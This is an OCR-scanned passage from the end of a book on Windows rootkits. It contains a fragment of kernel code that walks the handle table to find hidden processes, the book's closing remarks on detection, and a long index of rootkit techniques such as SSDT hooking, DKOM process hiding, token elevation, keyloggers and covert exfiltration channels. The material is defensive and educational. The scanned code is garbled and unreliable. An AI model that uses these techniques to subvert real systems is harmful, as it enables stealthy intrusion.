
plist _hTable = (PLIST_ENTRY) ((*( PDWORD) (( DNORD) eproc +



HANDLETABLEOFFSET) ) + HANDLELI STOFFSET) ;

start_plist = plist_hTabl e;
do
{

d_pid = (PDWORD) ((( DWORD) pl i st _hTabl e + EPROCPI DOFFSET)

- HANDLELI STOFFSET) ;

[l Print the Process ID as a debug nessage.

/1l You could store it to conpare to APl calls.

DogPrint ("Process ID: %\n", *d _pid);

/'l Advance.

plist_hTable = plist_hTabl e- >Fl i nk;

}while (start_plist !'= plist_hTabl e);

Thisisjust another way to identify a hidden process, but it is very effective. If the rootkit does not alter
thislist in the kernel, which can be difficult to do, your detection method will catch its hidden processes.
There are other, similar structuresin the kernel that could be used in thisway aswell. Detection
techniques are evolving as fast asrootkits are.



Conclusion

This chapter has shown you many different ways to detect rootkits. We have covered practical
implementations, and discussed the theory behind other techniques.

Most of the methods in this chapter have focused on detecting hooks and hidden processes. Whole
books could be written on file-system detection, or on detecting covert communication channels. By
identifying hooks, though, you will be well on your way to detecting most public rootkits.

No detection agorithm is complete or foolproof. The art of detection isjust thatan art. As the attacker
advances, the detection methods will evolve.

One drawback of spelling out both rootkit and detection methodologiesis that this discussion favors the
attacker. As methods to detect an attacker are explained, the attacker will alter her methodology.
However, the mere fact that a particular subversion technique has not been written up in a book or
presented at a conference does not make anyone any safer. The level of sophistication in the attacks
presented in this book is beyond the reach of the majority of so-called "hackers," who are basically
script-kiddies. We hope the techniques discussed in this publication will become the first methods that
security companies and operating system creators begin to defend against.

More-advanced rootkit techniques and their detection are being devel oped as you read these words.
Currently, we are aware of several effortsto cloak rootkitsin memory so that even memory scanning is
corrupted. Other groups are moving to hardware with embedded processors in order to scan kernel
memory without relying upon the operating system.[11] Obviously these two groups will be at odds.
Since neither implementation is available for public scrutiny, it is hard to say which one has the upper
hand. We are sure that each one will have its own limitations and weaknesses.

(111 N. Petroni, J. Molina, T. Fraser, and W. Arbaugh (University of Maryland, College Park, Md.), "Copilot: A
Coprocessor Based Kernel Runtime Integrity Monitor," paper presented at Usenix Security Symposium 2004, available
at: www.usenix.org/events/secO4/tech/petroni.html

The rootkits and detection software mentioned in the previous paragraph represent the extremes. Before
you begin to worry about these new tools, you need to address the most common threats. This book has
shown you what they are, and where the attacker is likely to go.

Recently we have seen companies showing their first signs of interest in rootkit detection. We hope this
trend will continue. Having more-informed consumers will cause protection software to advance. The
same can be said for having more-informed attackers.

Aswe stated in Chapter 1, corporations are not motivated to protect against a potential attack until there
is an attack. Y ou are now that motivation!
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$(BASELIB) variable
$(DDK_LIB_PATH) variable

.ini files for surviving reboot

.sys files, decompressing

8259 keyboard controller
_util_decompress_sysfile function
_util_load_sysfile function
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Access

file

hardware. [See Hardware]

rings for
Acrostic messages
Active offenses
Active process contexts
Address resolution protocol (ARP)
Addresses

creating

endpoint associations with

for processes

hardware

in detour patching

in paging

kernel module

MAC

structures for

virtual 2nd 3rd
AdjustTokenGroups function
AdjustTokenPrivileges function
Advisories, security
Alignment, instruction
AlICPURaised function
AMD processors, microcode updates
Applnit_DLLs key
Area-of-effect restrictions
ARP [See Address Resolution Protocol]
ASCII payloads, steganography on
Attacker motives
Attacks, bounce
Authentication functions, patching
Authentication IDs (AUTH_IDs)
Automated code-scanning tools
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Back doors
drawbacks of
software for
to op-codes
Back Orifice program 2nd
Behavior detection
BHOs (Browser Helper Objects)
Binary code, patching
bind function
Binding
in 1AT hooking
in inline function hooking
to interfaces
BIOS, accessing
BLINK member
as process pointer
changing value of 2nd 3rd
Bootloaders, modifying
Bootstrap code, activation of
Bouncing packets
Browser Helper Objects (BHOs)
Buffer pools
Buffer-overflow exploits 2nd
Buffers in NDIS 2nd
Bug fixes by Microsoft
Build environments
Build utility
Bus
data
1/0
PCI
Bypassing
firewalls
forensic tools
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Call gates
Callbacks, protocol driver
Calls
DPCs
far
in rootkit detection
Cavern infection
Chains, driver
Channels, covert. [See Covert channels]
Checked build environments
CheckFunctionBytesNt DeviceloControlFile function
CheckFunctionBytesSe AccessCheck function
CheckNtoskrnlForOutsideJump function
CIH virus
Cleanup routines
cli instruction
Code
introducing into kernel
patching. [See Patching]
Code segment (CS) registers
Code-byte patching method
Code-scanning tools, automated
COMMAND BYTE for keyboard ports
Compiler libraries
Completion routines for IRPs
Connecting to remote servers
CONNECTION_CONTEXT pointer
CONNINFO101 structure
CONNINFO102 structure
CONNINFO110 structure
CONTAINING_RECORD macro
Contexts
active process
for endpoints
Control flow, rerouting
Control Register Zero (CRO) 2nd
Control registers
Controllers, keyboard. [See Keyboard controller access]
ConvertScanCodeToKeyCode function
Covert channels
disguised TCP/IP protocols
host emulation. [See Host emulation]
NDIS in. [See NDIS interface]
raw network manipulation
remote command, control, and exfiltration of data
TDI in. [See TDI (Transport Data Interface) specification]
CPLs [See Current Privilege Levels]
CPUs
for ring enforcement
interrupts for



tables for
CRO (Control Register Zero) 2nd
CR1 register
CR2 register
CR3 register 2nd 3rd
CRA4 register
CreateRemoteThread function
CS (code segment) registers
CSDVersion key
CSRSS.EXE file
ctrl2cap driver
Current privilege levels (CPLs)
CurrentBuildNumber key
CurrentVersion key
Cyberwarfare
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Data bus
DATA BYTE for keyboard ports
DbgPrint statement
DDK (Driver Development Kit)
Debug statements, logging
Debug View tool
Decompressing .sys files
Deferred Procedure Calls (DPCs)
Descriptor checks
Descriptor privilege levels (DPLs)
DetermineOSVersion function
Detour patching 2nd
function byte checking in
NonPagedPool memory for
overwritten instruction tracking
rerouting control flow
runtime address fixups in
DetourFunctionNtDevice loControlFile function
DetourFunctionSeAccessCheck function
Device drivers. [See Drivers]
Device IRQLs (DIRQLSs)
DEVICE_EXTENSION structure
DeviceloControl function 2nd
DeviceTree utility 2nd
Direct code-byte patching method
Direct Kernel Object Manipulation (DKOM)
benefits and drawbacks
device driver communications
hiding with
device drivers
processes
synchronization issues
operating system version determination
process token privilege and group elevation with
adding SIDs to tokens
finding tokens
log events in
modifying tokens
DIRQLs (Device IRQLs)
Disguised TCP/IP protocols
ASCII payloads in
DNS requests in
encryption in
timing in
traffic patterns in
DISPATCH_LEVEL
DispatchPassDown function
DispatchRead function 2nd
DKOM. [See Direct Kernel Object Manipulation (DKOM)]
DLLs



forwarding
injecting into processes
listing
DNS (Domain Name Service)
DPCs [See Deferred Procedure Calls]
DPLs [See Descriptor Privilege Levels]
DrainOutputBuffer function 2nd
Driver Development Kit (DDK)
Driver tables for IRPs
DRIVER type
DRIVER_OBJECT structure
DriverEntry function
detour patches
device driver communication
file filter drivers
file handles
1/0 request packets
IDTs
jump templates
kernel hooks
keyboard LEDs
keystroke monitors
processes
protocol registering
runtime patching
scancode mapping 2nd
SSDT hooks
symbolic links
threads in 2nd
Windows device drivers 2nd
Drivers
communicating with
for introducing code into kernel
for network operations
hiding
layered
file filter
keyboard sniffers
KLOG rootkit for
loading
Windows. [See Windows device drivers]
DriverUnload function
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EAs [See Extended Attributes]
Easter Eggs
Eavesdropping
EFlags register
Elevation, group

adding SIDs to tokens

finding tokens

log events in

modifying tokens
Embedded systems
Emulation, host

ARP in

IP gateways in

MAC addresses in

packet transmissions in
Encase tool
Encryption

for covert channels

with steganography
Endpoints

contexts for

for address objects

local address associations with
Entercept program
EnumProcesses function
EnumProcessModules function
EPROCESS structure

for tokens

in process hiding

listing members of 2nd

locating
ether_arp structure
ether_header structure
Ethernet addresses, switches for
ETHREAD structure 2nd
Event Log
Event Viewer, faking out
EX_FAST_REF structure
Executable code, patching
Execution, tracing
Exfiltration of data 2nd
Exploits

software

vs. rootkits

zero-day
Extended attributes (EAs)
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Far calls
Far jumps 2nd
Far returns
Fast call methods
Fastlo function
FASTIOPRESENT macro
File filter drivers
File-hiding code
FILE_FULL_EA_INFORMATION structure 2nd
Files
for Windows device drivers
hidden, detecting
kernel access to
FilterFastloQueryStandardinfo function
FindFirstFile function
Finding
hooks
address ranges in
IAT
inline
IRP handler
SSDT
tokens
FindNextFile function
FindProcessePROC function 2nd 3rd
FindProcessToken function
FindPsLoadedModuleList function
FindResource function
Firewalls
bypassing
source port control by
Firmware 2nd
Flashable BIOS chips
FLINK member
as process pointer
changing value of 2nd 3rd
offsets to
Forensic tools, bypassing
Forging source ports
Free build environments
Function bytes, checking for
Fusion rootkits
file handles for
1/0 Request Packets with
symbolic links for



Index

[SymBOL] [A] [B] [C] [D1 [E] [F] [G] [H] [1] [] [K] [L] [M] [N] [O] [P] [R] [S] [T] [V] [V] [W] [Z]

GainExclusivity function
Gates

cell

interrupt

task and trap
GDTs [See Global Descriptor Tables]
GetDrivesToHook function
GetListOfModules function
GetLocationOfProcessName function
GetModuleFileNameEx function
GetModulelnformation function
GetProcAddress function 2nd
GetVersionEx function
Global Descriptor Tables (GDTs)

dump of

tricks using
GORINGZERO instruction
Group elevation with DKOM

adding SIDs to tokens

finding tokens

log events in

modifying tokens
Guarding-the-doors approach



Index

[SymBOL] [A] [B] [C] [D] [E] [F] [G] [H] [1] [31 [K] [L] [M] [N] [C] [P] [R] [S] [T] [U] [V] [W] [Z]

HANDLE_TABLE structure
Hard reboots from keyboard controllers
Hardware
access
addresses in
BIOS
1/0 bus
keyboard controller. [See Keyboard controller access]
latching in
PCI and PCMCIA devices
timing in
control registers
firmware modifications
Interrupt Descriptor Tables
manipulating
memory descriptor tables
memory pages. [See Memory pages]
microcode updates
multiprocessor systems
Ring Zero
system service descriptor tables
tables for
Hardware reordering of instructions
Hashing
Hidden items, detecting
files
processes
Hiding
processes 2nd 3rd
with DKOM
device drivers
processes
synchronization issues
HIPS technology
Hlade's Law
HOOK_SYSCALL macro
HookDrive function
HookDriveSet function 2nd
HookedDeviceControl function
HooklmportsOflmage function
HooklInterrupts function
HookKeyboard function
Hooks
finding
address ranges in
IAT
inline
IRP handler
SSDT
hybrid approach



IAT 2nd
injecting DLLs into processes
kernel
IDTs
IRPs
SSDTs
looking for
memory space for
Host emulation
ARP in
IP gateways in
MAC addresses in
packet transmissions in
HTONL macro
HTONS macro
Hybrid hooking approach
HybridHook example
Hyper-threaded systems
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1/0 bus
1/0 Control Codes (IOCTLs) 2nd 3rd
1/0 Controller Hub (ICH) chips
1/0 Request Packets. [See IRPs (1/0 Request Packets)]
IAT (Import Address Table)
finding hooks
hooking 2nd
in rootkit detection
ICH (1/0 Controller Hub) chips
ICMP packets
IdentifySSDTHooks function
Idle process
IDS software, bypassing
IDTENTRY structure
IDTINFO structure
IDTRs (interrupt descriptor table registers)
IDTs (Interrupt Descriptor Tables)
hooking
in rootkit detection
working with
IMAGE_DIRECTORY_ENTRY_IMPORT structure
IMAGE_IMPORT_BY_NAME structure
IMAGE_IMPORT_DESCRIPTOR structure 2nd
IMAGE_INFO structure
Import Address Table (I1AT)
finding hooks
hooking 2nd
in rootkit detection
in instruction 2nd
in_addr structure
Include files
INCLUDES variable
INETADDR macro
Infected files for reboot survival
InitThreadKeyLogger function
Injecting DLLs into processes
Inline functions
finding hooks
hooking
InstallTCPDriverHook function
InstDrv tool
Instructions, alignment
INT 2E instruction
Integrity Protection Driver (IPD) 2nd
Intel processors, microcode updates
Interfaces, binding to
Interlocked functions
InterlockedExchange function
Interrupt descriptor table registers (IDTRs)
Interrupt Descriptor Tables (IDTs)



hooking

in rootkit detection

working with
Interrupt flags
Interrupt gates
Interrupt service routines (ISRs) 2nd
Interrupt tables

for CPUs

with jump templates
Interrupts for keystrokes
10_STACK_LOCATION
loAttachDevice function
loCallDriver function 2nd 3rd
loCompletionRoutine function 2nd
loCopyCurrentlrpStack LocationToNext function
loCreateDevice function
loCreateSymbolicLink function
IOCTL_DRV_INIT IOCTL
IOCTL_DRV_VER IOCTL
I0CTLs (1/0 Control Codes) 2nd 3rd
loDetachDevice function
loGetCurrentlrpStackLocation function
loGetCurrentProcess function
loGetDeviceObjectPointer function
loGetNextlrpStackLocation function
loSetCompletionRoutine function 2nd
loSkipCurrentlrpStack Location function
loSkipCurrentStackLocation function
IPD (Integrity Protection Driver) 2nd
IRP_ values
IRP_MJ_DEVICE_CONTROL
IRPs (1/0 Request Packets)

and stack locations

completion routines for

driver tables for

finding hooks

for keyboards

hooking

in rootkit detection

working with
ISRs [See Interrupt Service Routines]
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jmp instructions
Jump templates
Jumps, far 2nd
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KeCurrentProcessorNumber function
KeGetCurrentlrqgl function
KelnitializeDpc function
KelnitializeEvent function 2nd
KelnsertQueueDpc function
KeNumberProcesses function
KeRaiselrqgl function
KeReleaseSemaphore function
kernel
components of
decompressing .sys files
fusion rootkits
file handles for
IRPs with
symbolic links for
hooking
IDTs
IRPs
SSDTs
introducing code into
loading rootkits into
logging debug statements
NDIS TCP/IP support. [See NDIS interface]
rootkit design for
surviving reboots
TDI TCP/IP support. [See TDI (Transport Data Interface) specification]
Windows device drivers for
kernel mode
for networking code
self-determination
Kernel modules, address ranges of
Kernel.dll file
Kernel's Processor Control Blocks (KPRCBs) 2nd
Kernel32.dll file
KeServiceDescriptorTable tables 2nd
KeSetTargetProcessorDPC function
KeSetTimerEx command
KeStallExecutionProcessor function 2nd
KeWaitForSingleObject function 2nd
Keyboard controller access
controller addressing
for hard reboots
for keystroke monitoring
for LED indicators
Keyboard sniffers
IRPs for
KLOG
KEYBOARD_INPUT_DATA structures
Keypress events
Keyrelease events



KiSystemService dispatcher 2nd

KLOG rootkit

KPRCBs [See Kernel's Processor Control Blocks]
KPROCESS structure

KTHREAD structure

KUSER_SHARED_DATA memory area
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Languages, type-safe
Latching
Late-demand binding
Layered drivers

file filter

keyboard sniffers

KLOG rootkit for
LDTs [See Local Descriptor Tables]
LED keyboard indicators
LGDT instruction
Libraries

compiler

linking
LIDS [See Linux Intrusion Detection System]
LIDT [See Load Interrupt Descriptor Table instruction]
Linkage key
Linkages
Linking libraries
Links, symbolic

for fusion rootkits

in rootkit detection
Linux
Linux Intrusion Detection System (LIDS)
LIST_ENTRY structure 2nd 3rd
ListProcessesByHandleTable function
Load Interrupt Descriptor Table (LIDT) instruction
Loading

drivers 2nd

rootkits
LoadLibrary function 2nd 3rd
LoadResource function
Local addresses

creating

endpoint associations with
Local Descriptor Tables (LDTs)

purpose of

table-indicator bit in
Locally Unique Identifiers (LUIDs)
Logging

debug statements

processes
Loki tool
Look-ahead buffers in NDIS 2nd
LookupPrivilegeValue function
Lookups, page-table
LUID_AND_ATTRIBUTES structure
LUIDs [See Locally Unique ldentifiers]
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MAC addresses
MAC interface
Machine status word
Major function pointers
MAKEFILE file
MAKELONG macro 2nd
Malicious code
Malicious modifications
MappedSystemcCallTable function
Mapping scancodes
MDL [See Memory Descriptor Lists]
Memory Descriptor Lists (MDLs)
Memory descriptor tables
Memory management
access restrictions 2nd
by kernel
for SSDTs
Memory pages
address translation for
checks for 2nd
multiple processes
page directories
checks
entries 2nd
multiple
page tables
directories
entries
lookups
processes and threads in
read-only access to
Memory space for hooking
METHOD_BUFFERED function
METHOD_NEITHER function
Microcode updates
Microsoft, bug fixes by
Migbot rootkit
loading drivers with
rerouting control flow using
Minimal footprints
Model-Specific Registers (MSRs)
Modifications
firmware
software 2nd
source-code
tokens
MODULE_ENTRY structure 2nd
MODULE_INFO structure
MODULE_INFORMATION structure
MODULEINFO structure



Monitors, keystroke

Morris Worm

Motives of attackers

Moving whole packets

MSRs (Model-Specific Registers)

Multiple page directories and processes in memory pages
Multiprocessor systems
my_function_detour_ntdeviceiocontrolfile function 2nd
my_function_detour_seaccesscheck function
MylmageLoadNotify function

MyKiFastCallEntry function

MyPassThru function
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Naked functions
NDIS interface

for host emulation

packet moving in

protocol driver callbacks in

protocol registration in
NDIS_BUFFER structure 2nd
NDIS_PACKET structure 2nd
NdisAllocateBuffer function
NdisAllocateBufferPool function
NdisAllocateMemory function
NdisAllocatePacketPool function
NdisOpenAdapter function
NdisQueryBuffer function
NdisRegisterProtocol function
NdisRequest function
NdisSend function
NdisTransferData function
NdisTransportData function
NdisUnchainBufferAtFront function
NetBus program
Network-based IDS (NIDS)
NetworkCards key
Networks

drivers for

raw manipulation
NewZWQuerySystem Information function
NIDS (network-based IDS)
NonPagedPool memory
NOP instructions
NtDeviceloControlFile function
Ntdll.dll file 2nd 3rd
NtLoadDriver function
NtOpenSection function
NTOSKRNL structure
NtQuerySystemInformation function
NumberOfRaisedCPU function
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OBJ_KERNEL_HANDLE
Object attributes structure
Objects in DKOM
Offensive technologies
Okena Storm Watch program
OldIrpMjDeviceControl function
OnBindAdapter function
OnCloseAdapterDone function
OnOpenAdapterDone function 2nd
OnPNPEvent function
OnProtocolUnload function
OnReadCompletion function
OnReceiveDoneStub function
OnReceivePacket function
OnReceiveStub function 2nd 3rd
OnRequestDone function
OnResetDone function
OnSendDone function 2nd
OnSniffedPacket function
OnStatus function
OnStatusDone function
OnStubDispatch function
OnTransferDataDone function 2nd 3rd
OnUnbindAdapter function
OnUnload function

for IRPs

for jump templates

for keystroke monitors

for protocol callbacks
OpenProcess function
OpenProcessToken function
Operating systems

kernel. [See kernel]

version determination
OSVERSIONINFO structure
OSVERSIONINFOEX structure
OSVERSIONINFOEXW structure
OSVERSIONINFOW structure
OurFilterDispatch function
OurFilterHookDone function
out instruction 2nd
Overwrite process in code patching
Overwritten instructions, tracking
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Packet pools
Packets
bouncing
moving
sending
in host emulation
with raw sockets
Page Directory table
Page frames
Pageable drivers
Paged in memory
Paged out memory
Pages, memory
address translation for
checks for 2nd
multiple processes
page directories
checks
entries 2nd
multiple
page tables
directories
entries
lookups
processes and threads in
read-only access to
Patching
description
runtime
detour. [See Detour patching]
jump templates
variations
PCI and PCMCIA device access
PE [See Portable Executable]
PEBs [See Process Environment Blocks]
Pending status in NDIS
Peripheral buses
PIC [See Programmable Interrupt Controller]
PIDs [See Process ldentifiers]
Portable Executable (PE) format
Ports
for keyboard controller
forging sources
reading and writing
Preambles
Prefix method
Print_keystroke function
Privileges for tokens
Process Environment Blocks (PEBs)
Process Explorer



Process ldentifiers (PIDs)

for remote threads

in hybrid hooking

in process detection 2nd
Process tokens

finding

log events in

modifying

SIDs for
Processes

address space for

hidden, detecting

hiding 2nd 3rd

in memory pages

injecting DLLs into

kernel management by

listing, sources of

logging

scheduling

vs. tasks
Processors

IDTs for

in embedded systems
Programmable Interrupt Controller (PIC)
Promiscuous sniffing
Protocol driver callbacks
ProtocolCharacteristics structure
Protocols

disguised. [See Disguised TCP/IP protocols]

registering
PsCreateSystemThread function
PsGetCurrentProcess function 2nd 3rd
PsGetVersion function
PsLoadedModuleResource function
PspActiveProcessMutex function
PspExitProcess function
PsSetlmageLoadNotifyRoutine function 2nd
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RaiseCPUIrglAndWait function
Raw network manipulation
binding to interfaces
bouncing packets
forging sources
on Windows XP
sending packets
sniffing
Read-only table access
ReadFile function 2nd
Reading ports
Reboots
from keyboard controllers
surviving
recvfrom function
Registering
for surviving reboot
protocols
Registers
control
latching between
Registry
for injecting DLLs into processes
key detection
operating system version queries in
RegOpenKeyEx function
RegQueryValue function
RegQueryValueEx function 2nd
Relative Virtual Addresses (RVAs)
Remote command and control 2nd
Remote servers
connecting to
sending data to
Remote shells
Remote threads
Reordering of instructions
REQINFO structure
Rerouting control flow
ResponseToArp function
Restarting rootkits
Returns, far
Ring Zero
Rings 2nd
RootkitDispatch function
RootkitRevealer tool
Rootkits
and software exploits
characteristics of
detecting
behavior detection



guarding-the-doors approach
looking for hooks
scanning rooms
for kernel
history of
legitimate uses of
loading
offensive technologies
operation of
purpose of
restarting
vs. exploits
VS. viruses
RtiICopyMemory function
RtlGetVersion function
Run key
Runtime address fixups
Runtime patching
detour. [See Detour patching]
jump templates
variations
RVAs [See Relative Virtual Addresses]
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Scancodes

in IRPs

mapping
Scanning rooms
Scheduling processes
SCM. [See Service Control Manager]
SeAccessCheck function
Segment checks
Segment descriptors
Sending

data to remote servers

packets

in host emulation
with raw sockets

TCP handshakes
SendKeyboardCommand function 2nd
SendRaw function
sendto function
Service Control Manager (SCM) 2nd 3rd
ServiceDescriptorEntry structure 2nd
Services key
SetLEDS function
SetPriv function
SetWindowsHookEx function
SGDT instruction
Siberian gas pipeline explosion
SID_AND_ATTRIBUTES structure
SIDs for tokens 2nd
SIDT [See Store Interrupt Descriptor Table]
Signatures, scanning for
SizeOfResource function
SMP [See Symmetric MultiProcessing]
SMSS.EXE file
Sniffers, keyboard
Sniffing with raw sockets
Socket function
Sockets on Windows XP
Software eavesdropping
Software exploits
Software modifications 2nd
Source port forging
Source-code modifications
SOURCES file
Spinlocks
Spyware modifications
SSDTs (System Service Dispatch Tables)

finding hooks

hooking

in rootkit detection

memory protection for



purpose of 2nd
SSPTs (System Service Parameter Tables)
Stack and IRPs 2nd
STATUS BYTE for keyboard ports
Stealth, role of
Steganography
for covert channels 2nd
on ASCII payloads
sti instruction
Store Interrupt Descriptor Table (SIDT) instruction 2nd
Storm Watch program
Surviving reboots
SwapContext function
Switches for ARP
Symbolic links
for fusion rootkits
in rootkit detection
Symmetric Multi-Processing (SMP) systems
SYN packets 2nd
SYN-ACK packets
Synchronization issues
SYSCALL_INDEX macro
SYSENTER instruction
for system calls
for system service dispatcher
IDT hooks with
SYSTEM LOAD AND CALL IMAGE method
System process
System Service Descriptor Tables (SSDTs)
in rootkit detection
purpose of 2nd
System Service Dispatch Tables (SSDTs)
finding hooks
hooking
memory protection for
System Service Parameter Tables (SSPTs)
SYSTEM_PROCESSES structure
SYSTEM_THREADS structure
SystemModulelnformation function
SYSTEMSERVICE macro
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TA_TRANSPORT_ADDRESS structure
Table-indicator bit
Tables
driver
for hardware
read-only access to
TARGETLIBS variable
TARGETNAME variable
TARGETPATH variable
TARGETTYPE variable
Task gates
Task Switch Segments (TSSs)
TCP handshakes
TCP/IP protocols, disguised
ASCII payloads in
DNS requests in
encryption in
timing in
traffic patterns in
TCPIP.SYS driver
TDI (Transport Data Interface) specification
for kernel mode networking code
address structures for
endpoint/address associations in
endpoints with context in
local address objects for
remote server connections in
remote server data transmissions in
vs. NDIS
TDI_ADDRESS_IP structure
TDI_IP_ADDRESS structure
TDIEntityID structure
TDIObjectID structure
Templates, jump
ThreadKeylLogger function 2nd
Threads
in memory pages
remote
Time factors
in communication
in hardware access
TimerDPC function 2nd
Timers
in keyboard sniffers
land-mine
Tokens
finding
log events in
modifying
SIDs for 2nd



Tombstones

Tracing execution

Tracking overwritten instructions
Traffic patterns for covert channels
Trampolines

Translation, address

Transport Data Interface specification. [See TDI (Transport Data Interface) specification]
Trap flags

Trap gates

Tripwire tool 2nd

Trojan files

TSSs (Task Switch Segments)
Type-safe languages
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UDP packets, spoofing
UNHOOK_SYSCALL macro
UnhookDrive function
UNIX operating systems
Unload function
for keyboard sniffers
for Windows device drivers
Updates, microcode
User mode
determining the OS version from
file handles for 2nd
fusion rootkits for
Ring Three programs 2nd
User/supervisor bit
Userland
device driver communication from
hooks
IAT
injecting DLLs into processes
inline functions
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Virtual addresses 2nd 3rd
VirtualAllocEx function
Viruses

problems with

vs. rootkits
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WaitForKeyboard function 2nd
WatchGuard ServerLock software
Whole packet moving
Windows device drivers

build environments for

build utility for

DDK for

files for

loading and unloading
Windows Device Manager
Windows Event Viewer, faking out
Windows hooks
Windows XP, raw sockets on
Write protect (WP) bits
WriteFile function 2nd
WriteProcessMemory function 2nd
Writing to ports
WSAIloctl function
WSAStartup function
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Zero-day exploits

ZwCreateFile function 2nd 3rd
ZwCreateKey function
ZwCreateLinkObject function
ZwOpenFile function

ZwOpenKey function
ZwOpenProcess function
ZwOpenSection function
ZwQuerySystemInformation function 2nd 3rd
ZwSetSystemInformation function
ZwSetValueKey function
ZwWriteFile function
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